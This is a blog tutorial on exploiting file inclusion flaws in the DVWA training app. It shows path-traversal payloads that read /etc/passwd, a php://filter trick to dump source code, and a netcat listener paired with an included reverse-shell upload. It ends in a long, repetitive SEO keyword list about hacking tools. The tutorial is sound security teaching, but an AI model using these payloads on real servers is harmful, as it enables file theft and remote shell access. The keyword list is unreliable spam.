There are two types of File Inclusion Vulnerabilities, LFI (Local File Inclusion) and RFI (Remote File Inclusion). Offensive Security's Metasploit Unleashed guide describes LFI and RFI as:
"LFI vulnerabilities allow an attacker to read (and sometimes execute) files on the victim machine. This can be very dangerous because if the web server is misconfigured and running with high privileges, the attacker may gain access to sensitive information. If the attacker is able to place code on the web server through other means, then they may be able to execute arbitrary commands.
RFI vulnerabilities are easier to exploit but less common. Instead of accessing a file on the local machine, the attacker is able to execute code hosted on their own machine."
In simpler terms LFI allows us to use the web application's execution engine (say php) to execute local files on the web server and RFI allows us to execute remote files, within the context of the target web server, which can be hosted anywhere remotely (given they can be accessed from the network on which web server is running).
To follow along, click on the File Inclusion navigation link of DVWA, you should see a page like this:
Lets start by doing an LFI attack on the web application.
Looking at the URL of the web application we can see a parameter named page which is used to load different php pages on the website.
http://localhost:9000/vulnerabilities/fi/?page=include.php
../etc/passwd
http://localhost:9000/vulnerabilities/fi/?page=../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../../../etc/passwd
This just means that we are currently working in a directory which is seven levels deep inside the root (/) directory. It also proves that our LFI is a success. We can also use php filters to get more and more information from the server. For example if we want to get the source code of the web server we can use php wrapper filter for that like this:
php://filter/convert.base64-encode/resource=index.php
cat index.php.b64 | base64 -d > index.php
Lets upload our reverse shell via File Upload functionality and then set up our netcat listener to listen for a connection coming from the server.
nc -lvnp 9999
http://localhost:9000/vulnerabilities/fi/?page=../../hackable/uploads/revshell.php
To learn more about File Upload Vulnerability and the reverse shell we have used here read Learning Web Pentesting With DVWA Part 5: Using File Upload to Get Shell. Attackers usually chain multiple vulnerabilities to get as much access as they can. This is a simple example of how multiple vulnerabilities (Unrestricted File Upload + LFI) can be used to scale up attacks. If you are interested in learning more about php wrappers then LFI CheetSheet is a good read and if you want to perform these attacks on the dvwa, then you'll have to enable allow_url_include setting by logging in to the dvwa server. That's it for today have fun.
Leave your questions and queries in the comments below.
References:
- FILE INCLUSION VULNERABILITIES: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
- php://: https://www.php.net/manual/en/wrappers.php.php
- LFI Cheat Sheet: https://highon.coffee/blog/lfi-cheat-sheet/
- File inclusion vulnerability: https://en.wikipedia.org/wiki/File_inclusion_vulnerability
- PHP 5.2.0 Release Announcement: https://www.php.net/releases/5_2_0.php
More info
- Hack Tools Github
- Hacker Tools For Windows
- Hacking Tools Pc
- Hacking Tools For Games
- Hack Tools
- Hacker Tool Kit
- Best Pentesting Tools 2018
- Hack Tools For Pc
- Hacking Tools For Beginners
- Free Pentest Tools For Windows
- How To Hack
- Hacker Tools For Pc
- Best Hacking Tools 2020
- Pentest Tools Open Source
- Hacking Tools And Software
- Hacker Techniques Tools And Incident Handling
- Nsa Hack Tools
- Ethical Hacker Tools
- Hack Tools For Ubuntu
- Hacker
- Hacker Tools For Pc
- Hacking Tools
- Pentest Tools Nmap
- Hacker Tools For Mac
- Install Pentest Tools Ubuntu
- Hack Tools
- Pentest Tools Alternative
- Pentest Tools Website Vulnerability
- Hack Tools For Games
- Hacking Apps
- Hacker Techniques Tools And Incident Handling
- Hacking Tools Name
- Beginner Hacker Tools
- Pentest Tools Open Source
- Pentest Tools Windows
- Hacking Tools Hardware
- Install Pentest Tools Ubuntu
- Hack Tools Online
- Hacking Tools For Games
- Hacker Tools Free Download
- Pentest Tools Website
- What Are Hacking Tools
- Hacking Tools Usb
- Hacker Tools Online
- Hack Tools For Mac
- Hack Tools For Mac
- Best Pentesting Tools 2018
- Hack Tools Download
- Hacker Tools Hardware
- Hacker Techniques Tools And Incident Handling
- Hacker Tools
- How To Install Pentest Tools In Ubuntu
- What Is Hacking Tools
- How To Install Pentest Tools In Ubuntu
- Hacker Techniques Tools And Incident Handling
- Pentest Tools For Ubuntu
- What Is Hacking Tools
- Hacks And Tools
- Hacking Tools For Windows 7
- Pentest Tools For Windows
- Tools Used For Hacking
- Beginner Hacker Tools
- Hacker Tools Github
- Hacking Tools Software
- Hack And Tools
- Pentest Tools Nmap
- Hacking Tools Hardware
- Hacking Tools Online
- Hacking Tools Software
- Kik Hack Tools
- Hacker Search Tools
- Hacking Tools Hardware
- Hacking Apps
- Pentest Tools Url Fuzzer
- Pentest Tools Online
- Pentest Tools Download
- Hacker Tools Online
- Hacking Tools Kit
- Hack Tools Github
- Hack Tools Download
- Pentest Tools Free
- Usb Pentest Tools
- Hacking Tools Name
- Blackhat Hacker Tools
- Pentest Tools Android
- Hacker Tools List
- Pentest Tools Url Fuzzer
- Hacking Tools For Windows
- Hacker Tools Apk
- Pentest Tools Tcp Port Scanner
- Hak5 Tools
- Physical Pentest Tools
- Hacking Tools Online
- Pentest Tools Apk
- Hak5 Tools
- How To Hack
- Hacks And Tools
- Pentest Tools Review
- Hacking Tools For Windows Free Download
- Pentest Tools Website Vulnerability
- Nsa Hacker Tools
- Tools Used For Hacking
- Usb Pentest Tools
- Hack And Tools
- Bluetooth Hacking Tools Kali
- Hacker Tools 2020
- Hack Website Online Tool
- Pentest Tools For Windows
- Nsa Hack Tools Download
- Pentest Tools Kali Linux
- Hacker Tools Hardware
- Hacker Hardware Tools
- Hacker Tools For Pc
- Pentest Tools Tcp Port Scanner
- Hack Tool Apk No Root
- Pentest Tools Github
- Hacking Tools Windows
- Hacking Tools Windows
- Hack Tool Apk No Root
- How To Make Hacking Tools
- Hack Tools Download
- Hacking Tools Free Download
- Hacking Tools For Pc
- Pentest Tools Windows
- Hacking Tools Software
- Hacking Tools Free Download
- Hackrf Tools
- Pentest Box Tools Download
- Hack Tools For Pc
- What Are Hacking Tools
- Hacker Tools List
- Hacker Tools Software
- Hack Website Online Tool
- Hacker Tools Windows
No comments:
Post a Comment